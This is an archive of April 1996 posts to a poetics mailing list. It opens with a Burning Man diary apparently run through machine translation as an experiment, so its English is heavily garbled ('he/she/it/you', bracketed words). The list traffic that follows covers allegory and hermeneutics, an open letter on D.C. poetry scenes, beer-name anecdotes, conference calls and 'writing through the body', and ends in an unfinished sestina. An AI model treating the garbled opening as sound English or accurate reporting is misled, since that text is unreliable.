the[[anarchistic]]. There are all kinds of be of the music he/she/it/you has played simultaneously. Event of the shows diverged to the same time, all covers the a the other. There is not a sense of mutual cooperation. I spoke with some people from California and that seems to be a distinctive change, to the minus in the Area of the Recess. There ere is not that he/she/it/you feels of, equal there there is not a sense, of frankness and friendliness and[[camaraderie]] that existed. And I think have disenchanted probably from that. You/he/she/it remember those times and probably still closes with the keeper on to that hour desire for frankness, but the younger generation has small case of my real anticipations or consequences. They wait to take advantage of or he/she/it/you reacts to, that frankness. I think have seen a cable in a[[jumpsuit]] of the tattered big orange by a field a pair of doors on. Very casual. But he/she/it/you could have belonged there. This has become a more destiny that. By by he/she/it/you in the desert to the south is like a subset or a makes up for field that seems to be a small you/he/she/it ramble gathering, a thick structure has amplified slipknots of the ribbon and as by. The Man that blazes, the structures it, he/she/it/you has isolated, kind of he/she/it/you has

isolated with of the cords by in a by of the area by the east, diviner that is. If has been isolated in central position, if the fire has stayed. If the archetype always observable and central era. I think last night the field he/she/it/you has seemed to flourish on a kind of frenzy that has joined his growth . People had poured correct in and you/he/she/it induct field. Just, just, just few people arrives from them. Often, particularly between the younger collection, he/she/it/you has seemed to arrive in the. Interesting, particularly during the storm, there was much kind of young, diviner, enthusiasm. The storm come on. My activity or event to which people subjects them, ends be in fiddling increase in terminus of the socioeconomic bigger structures, maybe. More attention should be paid to collision in social economy rather than begun to fire on developmental capitalism. I correct he/she/it/you has started read The Beak of the Finch and you/he/she/it speak about like Darwin really never experienced my evolution where he. There is the cable in the[[jumpsuit]] of the orange again. Maybe he/she/it/you has belonged there. He/she/it/you was odd. He/she/it/you would see roam on the avenue here. special you/he/she/it interest in all the varied structures, and he/she/it/you then has gone of above to this field and he/she/it/you has started peers at in the windows of the lorries has parked there. Small backpack and he/she/it/you has gallivanted by across the[[playa]], and then back has come brings a[[overtop]] of the sweater of the[[jumpsuit]] of the orange and he/she/it/you then has taken a camera. He/she/it/you has not seemed really like that he/she/it/you is really family or he/she/it/you indeed takes diamonds of anything. He/she/it/you was correct a proper exit. Now, for me, to the minus, he/she/it/you is worth come here and he/she/it/you sees the expanse of desert and he/she/it/you could see this much surrounding in a session from a position. .BLM writing desk of ownership of the Management of the Earth and anybody could come here to any time without my office. He/she/it/you would interest to arrival here only or in a small group. The storm has lowered the Margarita you/he/she/it bar last night. He/she/it/you has resembled an interesting place. I went go last night there but he/she/it/you has been closed. He /she/it/you could feel the sounds of the[[techno]] he/she/it/you of the beats first thing in the morning. I don't know if they originate from the aloof field or in any nearer place. Some more clouds today, but he/she/it/you doesn't resemble them go horse back riding be. The more common expression here is, 'Woo-who-who-who-ah-hah-hah-hah-oo-oo-oo-oo-oo-oo-oo.' Kind of song liturgical tribal varieties. I think know something about, an aroma for life, young enthusiasm. ???? of metamorphosis berserk suspension. [[techno]], hit, the sound of he/she/it/you has amplified applause A he/she/it/you shares of my enthusiasm he/she/it/you is obligatory. I love this sun, he/she/it/you is big. .storm yesterday correct he/she/it/you has equalized all to brightest part almost, aerodynamic of structures of the curtain. Saw this small car of the rocket, he/she/it/you had couple of men in them I delay 50s, 60s. Low, he/she/it/you is maybe a foot you/he/she/it crave, 8

moves tall. I don't know it like you/he/she/it work but you/he/she/it seem to be driven radio. They had cross it he/she/it/you obtains work last night but the preceding night that I have seen compresses about the periphery. Correct kind of small increasing red rocket. He/she/it/you had this strange reality he/she/it/you has low-pitchy vibrating sound like he/she/it/you has compressed together with, ardent red at night. Real interesting era. I think to I transcribe these notes in a page of the cloth single room that could be changed. Then he/she/it/you would have the same text he/she/it/you drivels about him. I marvel from you/he/she/it continually mention the concept of the 'community' word if that he/she/it/you indeed arrives before a this thing to happen. Maybe communion is like the awareness or the remembers a dream. Maids some function in be. he/she/it/you has expounded in a by of the [[subconscious]] but there is no real reason he/she/it/you has an awake. or realization of the[[reenactment]] of him. All the furniture and the harness varied personnels are the substitute of a poor man for a RV. As many fonts of the different sound simultaneously. I begin to marvel that that he/she/it/you would happen if only the emitter of he/she/it/you has registered music or he/she/it/you has designated players it has been permission play that music. Beautiful much pages of the similar house. You/he/she/it order of you/he/she/it eliminate big, to some extension, you/he/she/it eliminate the commercial big enterprise in the monopolization of. Wired periodical. last year, I have proposed write an article of the party of the Man that blazes and they could not see the connection. I think the connection among the kind of attitudes and ideas that they present and that that he/she/it/you happened here, pontifical knows that that he/she/it/you was of, but I think the connection it is the arrangement, increasing growth, fluid of structures and[[placements]] and the connections among them seem beautiful very synonymous with connections of the[[hypertext]] and an increasing body of documents and pages and places that I/they have interconnected in varied streets. .Campsites filling-on brisk. There is an other piano. Saw some, diviner, exceptional characters. There is a cable that I have seen last night you/he/she/it bring leather you/he/she/it chap and door a whip of the long leather and elements of the binge in search of unity, diviner. There is a cable with a Mohawk curly pink [color] and a join g-sequence curly pink [color]. .African-americano Mrs. he/she/it/you has been massaged well with the white clay of the[[playa]]. That more era of a thing of the shrewd of the[[culturally]], I assume. Bongo plays on the drum he/she/it/you has impacted under his bifurcate baton. .There some of the has perforated crowd of the[[genitalia]] . Those small slipknots must obtain hot in the sun. .A joins of[[teepees]]. .a carrier of the[[parasail]], be of the cable an other he/she/it/you has thrown Ð that resembles a regular parachute but he/she/it/you was pinched together with and he/she/it/you raise on in the sky from means of an affecting lorry and management of the long line to him. And Sunday and they arrive still. Not rather like many, I would guess. But they dribble still in.

Praticare the [surfing] music. The music was the wave. Now the radio disposes has devolved in [[dee-jays]] of the guest. He/she/it/you would interest has an event that would have probably be an event [cataclismica] likes a Telsa he/she/it/you winds that he/she/it/you would drive out fight all the motors of the inside combustion and all the breeders. And the least attractive people that they have their bodies has covered with[[tattoos]] and[[markings]] varied and adornments and[[piercings]]. _____ of be has pushed equal more distant to the periphery. To the minus there anything is decided, some decided. Downpour an other sudden he/she/it/you has accompanied from primitive cries he/she/it/you has punctuated from you/he/she/it cry of punishment like the rain he/she/it/you has turned to greet. Not also acute on the mud. He/she/it/you with good hope will soak in the[[playa]] soon. Then the actual that he/she/it/you blazes of the Man that blazes Ð [[oooh]], beautiful hawk that Ð was a very long,[[climactic]], dramatic he/she/it/you builds on of people gradually formation a big circle about the Man that blazes. In the perimeter of the circle from the small car of the rocket. bright laser across the desert [toward] the Man that blazes. There is a[[buildup]] general of ebullience and revenge, almost. They have a he/s he/it/you assails rioting mentality with all the flaming torches and artful fires. Child blazes. As you/he/she/it seem to be more of, and the structure of the Man that he blazes, is [[unmistakably]] similar you/he/she/it to the tall strain power tower here. As he/she/it/you suggests that the Man that blazes that he/she/it/you is be a symbol he/she/it/you has winded on with technology and the new world orders and his destruction in any way prepares liberation for [[ecological]] tribal problems not completely the same conceives, I think, like a jubilee or a pain of the old man, which would be more subdued. A kind of a narrates of the past like contrary to almost a kind of a cattail bump of he/she/it/you has focused antagonism [toward] a technological symbol. One of the cooler things that I have seen was a woman he/she/it/you has painted entirely you/he/she/it in natural deep [indaco] blue pigmented he/she/it/you compresses about the desert on a motorcycle. In any way that interested. The plays on the drum it is a small much after a during. I understand it am there when he/she/it/you goes sleep and he/she/it/you is there when you/he/she/it get up in the morning. He/she/it/you could be very electronic or it could be handbook, diviner. He kind of he/she/it/you obtains to you after a during. Told Free 'Drum Zone.' Like the field has obtained bigger, the clarity and kind of inchoate amazement of sight any kind of structure on this kind of [[wasteland]] barren he/she/it/you quickly has deteriorated in more noise that mark. More accident than a feeling of a has become rambles. It would be a very interesting place send a class of students of the art he/she/it/you has interested in art of the show. Best part of the event is of an auditory nature. I have seen some the walk of the people about with directional microphones and archivists of the ribbon. Rich font of sound all event simultaneously. And the kind of the sound of bounces by the hills. Bovine livestock of the cow

from the long [corna] on the side of the has promenaded. I have seen a bob-white he/she/it/you replaces the middle. Much rabbits of the bunny, rabbits of the[[cottontail]]. Life has become a font of continual irritation. That is the function of [[techno]], drive back the irritation. Flat and I still increase the level of you/he/she/it despair.

--
[first Italian translation: unassisted; posted to 'it.cultura']

<<http://www.teleport.com/~bbrace/bm.html>>

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628. Chris Tietjens
Memo from Nemo
Sun 28 Apr 1996

(from Paul Vangelisti's book Nemo, p.61)

"poetry is not words anymore than paintings are paint."

First time this morning I see a hummingbird.

Plenty of big golden butterflies though.

"white men who are alienated from their emotions & think their way to compassion are barking up the wrong tree."

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629. Tony Green
Re: allegory, faith, neutrality, poetry
Sun 28 Apr 1996

Re Jordan Davis's commentaries: reading the words, yes, but how exactly read the words? in neutral, neutrally? (and also write the words thinking of neutral reading of them to come). Perhaps the guts of the question is "what do words say"? (in any given situation of reading/writing). I find it hard to believe that it is possible to exclude any of the old four-fold hermeneutics of text: literal, moral, allegorical and anagogical from a reader's reading. My fav question, tho, coming back again, is "What is a literal meaning of a text?" or can it be said so that it's saying is completely sufficient and exclusive of all moral, allegorical and anagogical hearing/reading of it. Having asked myself this question a lot and finding out that finding answers involves an abyss, should I now ask this question on this list? Probably not you might say.
Best wishes, best of luck...

Tony Green,
e-mail: [redacted]

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630. **k.a. hehir**
Re: allegory, faith, neutrality, poetry
Mon 29 Apr 1996

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hello all,
i am very new to the list, but i must say that the tenor of discourse is much friendlier than some of the other academy driven groups i look in on.

that said, i would like to add my two bits concerning Tony Green's last post. those four folds you mention have always been a problem for me. locke says that the mind only knows what experience writes there, so any composition comes out of a pool of words the writer has acquired through either reading or hearing. the difficulty of wrenching the word from the familiar parenthesis of context is the poet's challenge. If this can be done, and we all know that it can be, whose literal history, morality, allegorical reference or anagogical framework does the receiver need to get the most value for their buck?

i realize that i may be getting into an issue that slowly turns over a fire of semantics but i have always felt that my biggest frustration is letting a piece go without footnotes.
word are like fish
you catch them
admire their colours in a story to your friends.
fish that,
once tossed back into the lexicon lake
your fingerprints are washed away.

so tony, "what is the literal meaning"? to whom? reader?writer?...editor?

to me," saying is completely sufficient", even if it is only into a vacuum engineered by those fine folks at NASA.

cheers,
kevin

My song-ship packed
With poet's art
It's word-keel cracked
Your frozen heart

Egil Skallagrimson

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631. Mark Roberts
Re: I found this on a local board. I have NOT verified it.
Mon 29 Apr 1996

> *Re Dole/?penis. These things do occur. There was a similar problem in English-speaking countries over the name of French rugby forward Jean Condom every time he wrapped up an opponent. But noone stopped printing his name out of embarrassment as far as I know.*
>
> *Tony Green,*
> *e-mail:* [redacted]

I can remember a story told by former Australian PM Gough Whitlam of how a Australian brand of beer called XXXX (or four X) caused problems in France because four X was also the brand name of a make of condoms. Unfortunately the jingle for the beer commercial went something like "I can feel a four X coming on".

_____
Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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632. Mark Wallace
OPEN LETTER TO BOB HOLMAN
Mon 29 Apr 1996

AN OPEN LETTER TO BOB HOLMAN

Dear Bob:

I've appreciated your posts to this poetics listserve, and have been glad to see your interactions with various people on this list. I also enjoyed your Sunday letter in the Washington Post in response to William Powers's rather ridiculous critique of the television series you helped produce, "The United States of Poetry." But your useful letter raised some problems that I feel a need to address, and I hope that by posting this letter to the poetics list, my concerns will reach you.

Powers's bourgeious culture-vulture notion that poetry is "a decorous, fragile art, ever in danger of exploitation and corruption by barbarians," cannot

of course go unchallenged, and I like the way your letter argues for a much more open, complex, and rigorous notion of poetry as an art that challenges rather than decorates culture and society. I like the way "The United States of Poetry" similarly does not let poetry retain such a simultaneously elite and pointless status, but reveals it to be a living art of central importance not only to those of us who engage in it, but to U.S. society in general. "The United States of Poetry" also very usefully critiques the idea that our mainstream poetic culture--a culture defined and limited by its own money and power--is not by any means the central source of the value of poetry.

The problem I have with your letter, however, has to do with your final paragraph, in which you list the names of "some of today's great D.C. poets" who you were not able to showcase in your program. The poets you list there--Ethelbert Miller, D.J. Renegade, Kwelismith, Jose Padua, Silvana Straw, Jeff McDaniel, and others--certainly are all excellent poets, and deserve whatever attention they receive. Yet as a D.C. poet, and as someone who interacts with various D.C. poetic communities, I can't help noticing that with the exception of Pulitzer Prize winner Henry Taylor, every poet you mention comes from only one of D.C.'s many poetic communities. Without wanting to label anyone, it seems to me nonetheless clear that everyone you mention in your letter is part of what might be called D.C.'s performance poetry/slam scene, a very worthwhile community, but hardly the only significant D.C. poetry community.

I haven't seen all of "The United States of Poetry." Here in D.C. it's televised at odd hours, and my own personal work schedule is even odder. But I wonder how you would respond to my sense, based on incomplete evidence, that your program tends to give the implication that the performance/slam scene is the only significant "alternative" in American poetry to the mainstream verse culture that the program does successfully call into question.

The danger in doing such a thing, of course, is that you would be unintentionally repeating precisely that problem that it seems the program wants to question--the idea that there is only one significant community of American poets. Granted, the performance/slam scene is a fabulous multi-cultural environment in which poets from a huge variety of backgrounds come together to present their art and to exchange ideas. But I wonder if a better tactic to challenging the hegemony of mainstream verse culture would be to suggest that there are a variety of "alternative" communities out there, not just one.

I myself am most closely associated in D.C. with a group of poets who might be called "avant garde" in their concerns, although again, such labels are always limiting. I run a reading series at the Ruthless Grip Art Project on U and 15th streets, which features a variety of such writers, and I know from my own experience that D.C. features many such excellent writers. I think some of them

may even be known to you. So I can't help wishing that in your letter to the Post you mentioned some people outside the performance/slam community--excellent writers like Joan Retallack, Tina Darragh and Peter Inman, Tom Mandel, Rick Peaboby, Beth Joselow, David McAleavey, Heather Fuller, Buck Downs, Rod Smith and Joe Ross (who in my understanding was even involved in the D.C. planning for your television series), and many others. I'd like to know why none of these names were mentioned--mentioning one or two of them would not have been difficult, and would, I think, have given your remarks in the Post the appearance of a broader commitment to diverse communities than they currently do.

I think we now live in a society where no one group can lay claim to being the sole source of significant poetic activity. Yet it remains too easy, whether it happens intentionally or unintentionally, to retain the assumption that only our own community is doing significant work. So I'd ask you to consider, in future, whether or not it might be worthwhile to make more of an attempt, in your public commentaries to newspapers or on T.V., to suggest that one of the strengths of "The United States of Poetry" is the ability of poetry to sustain many and varied communities of poetry, communities which often have very different assumptions about the value of poetic acts.

Sincerely,

Mark Wallace

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633. **Jordan Davis**
literal, moral, allegorical, analogical
Mon 29 Apr 1996

Tony-- One can no more do without those categories of reading than one could forego water, fire, earth or air. Or the four humors. Of course there will be contemporary alchemists who suggest that there is something else, like *valence*, that attaches words to words, or rather allows one word to suggest another [to a writer?]. That there are chemical series of words. Half-lives. I have to admit that this is not an idea that originates with me (as the ideas about coincidence and compassion in my last post came from discussions with Steve Carll, Larry Price and Douglass Rothschild); there is a study on valence in Clark Coolidge's work from _Own Face_ through _Solution Passage_ by Chris Jacobsen that I think I have lost. Maybe someone else on the list has seen it? Maybe someone knows how to reach Chris? [Maybe someone else came up with valence and Chris didn't attribute it or I don't remember the attribution.] Why wouldn't there be forty words for snow, or eighty ways to talk about time. (It's the talking about ourselves that I think can be read about four ways.) --Jordan

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634. Mark Jones
New Chapbook
Mon 29 Apr 1996

Hi! I'm new to this list. I live in Austin, Texas
and have been writing poetry for about 19 years.
My new chapbook is out. It's called _Leaves on the
Altar of Time_ and contains the best of the last
10 years of my poetry. I'm not sure how to say what
it's like, however. I've been trying for months
and only come up with approximations of poems in
order to describe the poems. Here's the latest:
The basic experience -- sun, moon, wind, tall grasses,
space, a blue flame. I usually concentrate on sound
and light. I try to avoid explicit abstractions, though
I indulge in them occasionally. On the other hand,
it's all abstract.

I'm easily bored by derivitive discourse including
literary criticism (bummer) unless it illuminates being
as it is (not just the literary context.) When I
say "derivative discourse", I don't exaclty mean the
language that creates and sustains the world, but
rather the vomitous rehashing of cultural trivia.

(Don't worry, I'm not a purist, not a whip cracker,
and I find consistencies, boundaries, and
many disctinctions to be repulsive. Most of the time,
I'm rather laid back and upbeat. I just happen to
work in an environment right now where people tend
to talk much and act little.)

A fragment:

> Life is not an either/or --
> it's *both*, *and*, *also*, and *why?*,
> sound and furry folded wonders and
> always the open sky.

Leaves on the Altar of Time can be bought for $5.50 at
the Laughing at the Sun gallery on South 1st St. in Austin
or ordered directly from

Mark Wayland Jones
5408-A Brompton Circle
Austin, TX 78745

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635. **Jordan Davis**
Re: literal, moral, allegorical, anagogical
Mon 29 Apr 1996

Oops!
mistake in previous header.
Jd

↑ Index

636. **Peter Larkin**
Cambridge Conference on Contemporary Poetry
Mon 29 Apr 1996

If this list is still waiting for a report from CCCP.6, perhaps I can supply an interim one. I was there on Friday and Saturday, though didn't attend all sessions. Barry MacSweeney did appear on the Friday night and read from Pearl and some more recent "drying out" poems. The Friday night session was in a smaller room but was packed out, with offstage noise from a nearby bar ironically accompanying Barry's rather quiet readings in what was a muffled acoustic anyway. I am told these readings didn't quite have the "edge" they had at SubVoicive recently. I also went to the only discussion session of the conference, a three-way debate on the role of poetry mag editors between John Kinsella, Andrew Duncan and John Wilkinson (who as a non-recent editor also spoke for the "client"). The three papers varied between maximal and minimal ideals of editorial role,relevance of any sort of market dimension, capacity to absorb poems through such a medium as distinct from reviews, questions of cultural stance and impositional (or oppositional) barriers etc. There were substantial responses from the floor by Les Murray and Ben Watson and a final, audience-induced intervention from Anthony Mellors, who most people thought should have been on the panel anyway. cris cheek who was coming and going may be able to caption some of the other sessions for you. Peter

Peter Larkin Philosophy & Literature Librarian
University of Warwick Library,Coventry CV4 7AL UK
Tel:01203 524475 Fax: 01203 524211
Email: [redacted]

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637. David Baratier
The common decency of allegory
Mon 29 Apr 1996

As a species of relief, whether humeric, saturated or otherwise, I find these same truths evidence that we are so much closer to compssion in the modern age, especially in this medium where each day I find myself closest to having a simultanaiety. Why just this minute someone mailed me something from this minute. We who are at the brink of the instant are celebrating it by buying less durable goods and more gereric cereal. Our voluntary simplicity becomes us in the same way that a poem depends upon our knowledge of the poet in order to possess the editorial capacity to save the audience from the pseudonymous ambassadors of ideology who are deflecting meaning into crouch formation. In typical double standard, where nothing is said except "look ma no hands" which is then transformed into hands without a face I too would argue that the social life of poets is what is at issue in developing elementary schools.

Be well.

David Baratier

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638. Jordan Davis
eyes without efface
Mon 29 Apr 1996

Baraka Dave!

The genius of rolaids is the weather channel in turmeric. On Saturday my mother wears white and I find the sane truth. Avoidance that you use as a 'closer' or a 'compass' is very modern, yes, especially in the middle of each dais. I myself keep the vacuum in the closet, but at the same time I ask why someone very small would mail me rice. That's brinksmanship for you, party party. Bye-bye les bons bons, au revoir, Richard Gere. We could volunteer to be more simple, but it's not so becoming. The poem is leaning on our knowledge as the poet leans on our sanity, placing an order for veteran opacities. Save the audience? Shoe Donna Moose? What the past has for an idea whore doesn't fleck meaning where I come from. But then I'm a gemini. Nothing is sad except Billy Idol's song "Eyes Without a Face." Hey man, you like "Transformer?" I hand it to you, you'd socialize. What it is. A developing elemenope. A schmoo.

Be plus,
Jaglom

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639. **Kevin Killian**
(no subject)
Mon 29 Apr 1996

At 1:57 AM 4/30/96, Eryque Gleason wrote:
>i really hate to re-open this wriggly ball of worms, but my current reading
>has brought me back to the notion of "writing through the body". i have a
>very specific question: does "writing through the body" have to be done in
>the first person? and does second person really count as a seperate
>perspective in this instance? it seems that most of what i've read that
>might be counted in this category (which is admittedly, not a ton) is
>either first or second person, got me to wonderin.

Eryque,

The answer to the above is no, writing through the body does not just entail first or second person, I believe Monique Wittig in _The Lesbian Body_ uses third person to great effect. If you think about it, first person wouldn't be the ideal person for writing through the body, because much of that notion is a transcending of the coddled bourgeoise "I," and, often enough, "you" is merely a mirror to bounce "I" up against.

Don't let all that Cixous get to you.

Dodie

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640. **Joseph Zitt**
Re: Vancouver writers/Real Audio
Mon 29 Apr 1996

On 27 Apr 96 at 15:15, David Ayre wrote:

> "*Poetry in gurgling clear RealAudio. It's one of the best ways to use up the valuable time on your internet account.*"

I love the liquid murmur RealAudio puts behind things. They don't care for it much at work, where we're putting up files of speeches by suits, but it does cool things to other sound stuff.

FWIW, my sound poetry ensemble, "Question Authority, The", (also featuring listmembers Tim Wood and Tim Cloward) has some RealAudio samples (download only) at our Web site. The page they're on is
http://www.realtime.net/~jzitt/QA/qwho.html

I think we sound sorta like a cross between the Four Horsemen, various parts of 2001, and the Muppets, but what do I know :-)
---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted]

===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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641. **George Bowering**
XXXX.
Mon 29 Apr 1996

> *I can remember a story told by former Australian PM Gough Whitlam of how a Australian brand of beer called XXXX (or four X) caused problems in France because four X was also the brand name of a make of condoms. Unfortunately the jingle for the beer commercial went something like "I can feel a four X coming on".*

The way I heard it was that Forex is the name of a condom in England, and in Australia there was a billboard that demanded: "Put a four X to your lips."

I have also heard people in Victoria and NSW say that XXXX is the way Queenslanders spell BEER.

"Take off your hat & coat & give me all your money"

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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642. **Eryque Gleason**
(no subject)
Tue 30 Apr 1996

i really hate to re-open this wriggly ball of worms, but my current reading has brought me back to the notion of "writing through the body". i have a very specific question: does "writing through the body" have to be done in the first person? and does second person really count as a seperate perspective in this instance? it seems that most of what i've read that might be counted in this category (which is admittedly, not a ton) is either first or second person, got me to wonderin.

thankee,
eryque

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643. **Alan Sondheim**
Re: your mail
Tue 30 Apr 1996

If you look at Vito Acconci's early writing when he was still known as Vito Hannibal Acconi, you'll find the second-person dominates in terms of this - also in a number of his performances. You'll also find it in narrative issues in Net sex - I just spoke to that in a conference. There's a kind of textual inhabitation of the other at work - Alan

On Tue, 30 Apr 1996, Eryque Gleason wrote:

> *i really hate to re-open this wriggly ball of worms, but my current reading has brought me back to the notion of "writing through the body". i have a very specific question: does "writing through the body" have to be done in the first person? and does second person really count as a seperate perspective in this instance? it seems that most of what i've read that might be counted in this category (which is admittedly, not a ton) is either first or second person, got me to wonderin.*
>
> *thankee,*
> *eryque*

<> <> <> <> <> <> <>

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images at http://www.cs.unca.edu/~davidson/pix/
.sigless in Gaza

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644. **George Bowering**
Re: XXXX.
Tue 30 Apr 1996

For a while they were selling those yellow cans of XXXX over here, but I havent seen it lately. I guess everyone here found out what everyone there knows.

I prefer Cooper's Real Ale. And that beer from Tasmania with the weird animal on the label.

"Take off your hat & coat & give me all your money"

George Bowering.
2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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645. Happy Genius

Happy Genius seeking submissions

Tue 30 Apr 1996

I am starting a new little magazine called "Happy Genius" after one of my favorite Williams poems. It is to contain only poetry. My taste is toward Black Mountain and L=A=N=G=U=A=G=E influenced work. I don't mean you have to follow some guidelines set down by someone else, of course. I want to publish what I would buy or what I wish I had written (if you know that feeling).

So far I have about 50 pages of work, some of it is from people whose work I have enjoyed for many years, others are from new sources. I want twice that anount in order to put a perfect binding on it.

The poetry will also be available in .pdf file format via the world wide web.

Please send work to Peter Landers [redacted]

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646. William Northcutt

17th International Ezra Pound Conference

Tue 30 Apr 1996

17th International Ezra Pound Conference
Brunnenberg, Tirolo di Merano, Italy
July 12-15 1997

The 17th International Ezra Pound Conference will be held at Brunnenberg, Alto Adige. The site is the residence of Pound's daughter, Mary de Rachewiltz, and contains an extensive archive of relevant books, pictures, and manuscripts.

Proposals are invited for papers on any aspect of the topic: "Ezra Pound and Poetic Influence"

If you are interested in giving a paper, please send a synopsis (about 250 words) to the Convenor by October 1, 1996. Presentations should be limited to a 30 minute delivery, allowing 15 min. for discussion. If you wish to submit a proposal and be sure of receiving details of accommodation, costs, etc., please contact the Convenor:

Richard Taylor
LS-Anglistik
Universaet Bayreuth
D-95440 Bayreuth, Germany
Fax: (0921)553627 (from America, 011-49-921-553627)

or, send e-mail to: [redacted]

Early submission of title and synopsis would be greatly appreciated.

Buddy Guy Rules!!! Damned right he's got the blues!!!

[redacted]

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647. **Aldon L. Nielsen**
Re: USOP
Tue 30 Apr 1996

---

which title reminds me of "VSOP" -- but I never did drink that much--

re: Mark's recent open letter to Bob in response to Bob's letter in the Wash. Post, the which I have not seen --

Would you really call Ethelbert part of the "performance / slam" scene ? I mean, he's part of that scene in the sense that he's been seen there -- but really --

On the other hand, I have seen all episodes of USOP and was worried by a certain narrowness in selection of poetries (and in visual "vision," which I have already mentioned here)) It was nice to see Carla's eyes again, though I nearly missed her,,,, but there were any number of poems in the series that just didn't make it for me on any level of verbal inventiveness -- tho I suppose that had the effect of making Jimmy Carter sound like an elder statesman of mainstream verse --

and shouldn't we have seen a few more of those folk who actually make video art involving poetry, huh?? always nice to give Barbara Kruger even more credits than she already has . . . but hell, they give Barbara Kruger Tee-Shirts to you if you pledge five bucks to PBS,,, this was "alternative" about the same way that the "alternative" stations you hear playing the same music all over the country are "alternative"

To quote Les McCann and Eddie Harris of some years ago, "but compared to what?"

still enjoyed seeing it on the tube -- sure beats whoever Bill Moyers is interviewing about the afterlife this week -- will watch again,,, but let's hope for more expansive future editions??

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648. **Mark Jones**
Re: Writing from the Body
Tue 30 Apr 1996

[From: Eryque Gleason <[redacted]>]
>i really hate to re-open this wriggly ball of worms, but my current reading
>has brought me back to the notion of "writing through the body".

Could you elaborate on 'writing through the body'?

Mark J.

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649. **Mark Roberts**
Re: XXXX.
Tue 30 Apr 1996

>>I can remember a story told by former Australian PM Gough Whitlam of how
a
>>Australian brand of beer called XXXX (or four X) caused problems in
>>France because four X was also the brand name of a make of condoms.
>>Unfortunately the jingle for the beer commercial went something like "I can
>>feel a four X coming on".
>>
>
>
>The way I heard it was that Forex is the name of a condom in England, and
>in Australia there was a billboard that demanded: "Put a four X to your
>lips."
>
>I have also heard people in Victoria and NSW say that XXXX is the way
>Queenslanders spell BEER.
>
>
I can't remember the put a XXXX to your lips - maybe they didn't run that
ad outside of Queensland. But I definitely remember "I can feel a four X
coming on" as there were hundreds of variations such as "I can feel a
headache, hangover, vomit etc coming on"

There was a UK film called THE LOVE CHILD which featured a talking can of XXXX.....

_____

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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650. **Charles Alexander**
writing through
Tue 30 Apr 1996

> *i really hate to re-open this wriggly ball of worms, but my current reading has brought me back to the notion of "writing through the body". i have a very specific question: does "writing through the body" have to be done in the first person? and does second person really count as a seperate perspective in this instance? it seems that most of what i've read that might be counted in this category (which is admittedly, not a ton) is either first or second person, got me to wonderin.*

eryque, I think it would be an entrapment of the body to demand that it be "written through" from any particularl or limited point of view or perspective. A lot of the best writing is done, for example, from the inside (of anything, of language, of the body, . . .), where sense of person break down. I think specifically of Danielle Collobert's It Then, in which there is no sense of a fixed person, be it first or second or tenth, yet which I think of very much as writing through the body, through the gap, through the connection & disconnection -- here is a section, as translated by Norma Cole, published by O Books in 1989 (French edition published in 1976 by the Change Collection, Seghers/Laffont)

_____

on the verge of the spasm -- the ghost of a voice the head suddenly full -- its head -- murmuring -- the sound level -- replaces the voice -- scrapings -- misfires -- hooks a wordshape -- with the help of a gesture -- evident image -- with the help -- modulation of sound -- set high -- nasal -- in search of -- slow approach -- towards tonality -- loses the rhythm -- jolts -- portends the word -- retreat and fear -- but no -- slow and sweet arrival of the voice -- phrase to roll calmly into memory -- bright and distinct knowing of moments moving -- drowned in the voice -- still the absence

or a later section

---

flowed into the body there -- to rejoin the moment there -- no longer trying to flee -- dived into the other body -- drawing out its sap -- the quantity of words it needs to survive -- to get to the end of the day -- perhaps possible -- if it is not frightened of the pain

body grip -- word grip -- asks the other body for the unexpressed -- birth of uncertainty -- already overwhelmed -- will never be said -- knows it -- hopeless waiting to touch being

I also think of bp Nichol's Selected Organs as an entirely different sense of writing through the body, where bp writes about, and often from the point of view of, selected body organs. So, perhaps a literal treatment, but a fascinating one (pub. by Black Moss Books in 1987, I believe, but I'm working from memory right now -- parts of it in An H in the Heart: A Reader, by bp Nichol, publ. in the Modern Canadian Poets Series, McClelland & Stewart, 1994).

charles alexander

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651. Michael Coffey
writing through -Reply
Tue 30 Apr 1996

---

writing through the body. it seems to me that there are only two positions with respect to the concept: all writing is through the body (what else writes, is writing?) or, "writing through the body is a metaphor" because one presumes that writing exists or is enacted somewhere else, someplace that "body" doesn't do justice to. And if "writing through the body" is a metaphor, than perhaps that concept owes less to the body than to the mind; it's an idea first. And if all writing is through the body, then the idea of writing itself, not to mention its enactment, can be seen as "bodily."

clearly, some writing involves the body more than other writing; henry miller vs henry james, for example. but perhaps we are still deep in metaphor here. I suppose the musicalilty of certain prose and poetry affects the body more than certain other examples do, but could that be considered writing through he body, or simply very rhythmic or sensual writing?

one can write from the perspective of certain organs, lilke nichol. but when is someone not writing from the perspective of certain organs? Try writing without a body.

Of course, there is the strain of thought involving inspiration from afar (Yeats' wife: "I've come to give you metaphors for poetry." What a come on!) And Duncan and spirit and the like. That stuff can theoretically originate from outside the body, the mind even; but it has to have a medium: writing through the body.

might one append a hackneyed sestina? one might....

SESTINA

The six most important words in life
do not easily nominate themselves. In death
perhaps one would find them, like pebbles in the mouth.
Who can be sure, assembling a biography, that truth
resides anywhere, much less in words? The body
sings itself, as Whitman said, and is electric.

The sky is riven with it, the mind, too, electric
in its leap and pulse, the currency of life,
so say the scientists. What they know of the body
lapses after the shop shuts down, in death,
but it is a bitter end, this truth.
It is of hard sounds in the mouth.

One makes love with the mouth
and makes sounds that sound the electric
fields of molecules in passion; for truth
not much can be said, not in this life
for the final sums are unfinished at death.
That is why we must love the body.

All things swirl here, in the sea of the body.
One can hear the spectral roar out the mouth,
can imagine its yawned maw, frozen in death
above the blackened cavity, and detect no thing electric
in the lightless absence of life.
Still, one looks for the charge of truth.

Whatever we have--even if half--has to be truth,
life and logic coterminous with the body;
beyond that there may be some life
but we cannot know what we cannot mouth.
We can sing the body electric,
as Whitman said, but it won't worry death.

Who can say it means anything, death?
It is perhaps just another form of truth

or delusion. If it is not electric,
if there is something after body,
then it is a secret in God's mouth
